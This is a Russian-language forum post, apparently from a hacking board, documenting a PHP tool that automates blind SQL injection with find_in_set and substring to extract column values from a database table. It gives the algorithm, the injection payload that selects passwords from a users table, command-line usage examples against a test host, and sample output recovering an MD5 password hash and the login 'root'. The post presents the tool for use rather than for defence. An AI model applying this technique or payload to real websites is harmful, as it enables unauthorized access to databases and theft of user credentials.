За основу взят скрипт c
cih.ms, который написал
+toxa+.
Количество запросов: 1 на каждый символ алфавита + 1 на каждый символ в строке.
Т.е. для классического MD5 - 48 запросов. Из них 16 - абсолютно естественные, никак не используют иньекцию саму по себе + от них можно избавиться, если в коде прописать регулярку, вычисляющую на какой именно странице мы находимся, тогда будет 1 запрос на 1 символ.
Алгоритм работы скрипта:
1) Отправляет нормальные запросы вида ?id=1, ?id=2 .. ?id=
N, где
N - количество символов в алфавите.
2) Вычисляет ключевые слова для каждого из вариантов.
3) Шлёт на сервер запрос вида:
id=find_in_set(substring((select+passw+from+users+ limit+0,1),0,1),[АЛФАВИТ])
4) В ответе сервера ищет ключи, найденые ранее, если ключ совпал, значит символ найден.
Описание:
запуск из консоли в виде:
Код:
fast_in_set.php url field table [target_id] [send_queries] [start_from] [alphabet]
где:
обязательные:
url - url вида http://test1.ru:8012/find_in_set/news.php?id= (Важно: после = скрипт подставлять цифры будет сам, никакого -1 там не нужно)
field - имя столбца
table - имя таблицы
необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[start_from] - страница с которой надо начать (по дефолту 1), т.е. для получения хеша мд5 скрипту потребуется 16 различных страниц идущих подряд, а это число прибавится к получаемому id. Т.е. для md5, при start_from=10, скрипт пробежится по страницам с id от 10 до 26 включительно.
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .
Пример:
Код:
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= password users
или
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= login users 0 5 1 r,a,o,t,z
Результат работы:
Код:
Generating templates................ [OK]
Getting keywords................ [OK]
Filtering keywords................ [OK]
Sending queries................................ [OK]
Getting value: 63a9f0ea7bb98050796b649e85481845 [DONE]
или
Generating templates..... [OK]
Getting keywords..... [OK]
Filtering keywords..... [OK]
Sending queries..... [OK]
Getting value: root [DONE]
В строках
Generating templates и
Sending queries каждая точка обозначает отправленный запрос. В остальных - обработку символов.
P.S.
Поидее надо добавить возможность задавать id не последовательно, возможность установить свою регулярку чтобы не надо было слать запросы для определения ключей + заточить под все виды БД.